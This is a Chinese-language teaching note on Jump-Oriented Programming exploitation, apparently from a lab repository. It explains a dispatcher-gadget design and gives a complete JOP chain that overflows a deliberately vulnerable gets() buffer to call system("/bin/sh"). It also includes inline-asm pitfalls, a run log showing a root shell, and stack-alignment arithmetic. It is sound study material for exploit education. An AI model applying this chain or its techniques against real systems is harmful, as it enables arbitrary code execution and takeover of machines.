
04 · JOP 链 —— 不用 ret 的跳跳乐JOP (Jump-Oriented Programming, 跳转导向编程):和 ROP 一样拼已有代码, 但串联指令从ret换成间接跳转jmp *%rdx。核心: 一个调度器从 JOP 链(函数指针序列)里逐个取 gadget 执行。1. 与 ROP 的本质区别ROP: ret 弹出链中地址 → 天然串联 (ret 就是调度器) JOP: 没有 ret! 每个 gadget 用 jmp *%rdx 跳回调度器, 调度器再从链中取下一个 gadget 地址ROPJOP串联机制ret 指令调度器 间接跳转链内容gadget 地址序列函数指针序列 (带参数)调度器无 (ret 自带)pop rcx; jmp *%rcx对抗意义绕过 NX绕过 NX 针对 ROP 检测 (CFI 雏形)2. 本库的 JOP 架构 (victim/lab3_jop)vuln.S 提供 4 个积木: dispatcher: pop %rcx; jmp *%rcx ← 调度器 (心脏) g_pop_rdi: pop %rdi; jmp *%rdx ← 参数 gadget (吃栈顶进 rdi) g_pop_rax: pop %rax; jmp *%rdx ← 目标函数地址进 rax g_call: call *%rax; jmp *%rdx ← 调用 rax 指向的函数 vuln.c 的漏洞出口: gets(buf) 溢出后: mov %rdxdispatcher; leaveq; jmp *%rdx → 不 ret! 直接进调度器3. JOP 链布局与执行流JOP 链 (栈上, 每项 [gadget地址][参数]): [g_pop_rdi][/bin/sh地址][g_pop_rax][system地址][g_call][0x0] 执行流: 溢出 → jmp *%rdx → dispatcher dispatcher: pop rcx (取 g_pop_rdi); jmp rcx g_pop_rdi: pop rdi (/bin/sh 进 rdi); jmp *%rdx → 回 dispatcher dispatcher: pop rcx (取 g_pop_rax); jmp rcx g_pop_rax: pop rax (system 进 rax); jmp *%rdx → 回 dispatcher dispatcher: pop rcx (取 g_call); jmp rcx g_call: call *rax system(/bin/sh)! jmp *%rdx → 链尾 0x0 崩, 无所谓注意: 全程没有一条 ret 指令! 这就是 JOP 与 ROP 的分界线。4. 本库实现的两个关键坑坑1: rdx 是易失寄存器// 错误: 先设 rdx, 再调 printf/gets —— 全被覆盖!asm(movq %0, %%rdx::r(dispatcher));printf(...);gets(buf);// 调用约定: rdx 被调用者随便改!asm(jmp *%rdx);// rdx 已是垃圾!// 正确: 跳转前一刻设置 (mov jmp 合并)asmvolatile(movq %0, %%rdx; leaveq; jmp *%%rdx::r(dispatcher));坑2: rsp 必须指向链首// 错误: 直接 jmp —— rsp 还在函数帧内 (buf 起点), 调度器从 A 填充读起!// 正确: 先 leaveq 把 rsp 移到帧尾 ( 返回地址位置 链首)asmvolatile(...; leaveq; jmp *%%rdx);5. lab3 真实运行 (evidence/lab3_jop.log)[] libc base 0x7ffff7800000 (ASLR off, 固定) [] system 0x7ffff784f420 /bin/sh 0x7ffff79b3d88 [] dispatcher0x4007ad g_pop_rdi0x4007b0 g_pop_rax0x4007b6 g_call0x4007b9 [*] 发送 JOP 链 payload (120 字节) ... JOP-CHAIN-PWNED uid0(root) hello world!6. 栈对齐(JOP 也要算)链首 rsp%168 (实测) → 执行: dispatcher pop(-8) → g_pop_rdi pop(-8) → dispatcher pop(-8) → g_pop_rax pop(-8) → dispatcher pop(-8) → g_call: call 压栈(-8) → system 入口 8-48 8 ✓ 本链天然对齐 —— 但换 gadget 组合时务必重算: 入口rsp%16 (链首%16) - 8×(pop数) - 8×(jmp数) - 8×(call数)7. 记忆卡JOP 用调度器 间接跳转串联的链, 全程无 ret调度器:pop rcx; jmp *%rcx(从链取下一个)gadget 结尾必须是jmp *%rdx跳回调度器链 [gadget][参数] 成对出现易失寄存器: 调用任何函数前设置的值都会被覆盖 → 跳转前一刻设 rdx进入调度器前 rsp 必须指向链首 (leaveq 调整)对齐公式: 入口%16 链首%16 - 8×(总 popjmpcall 次数)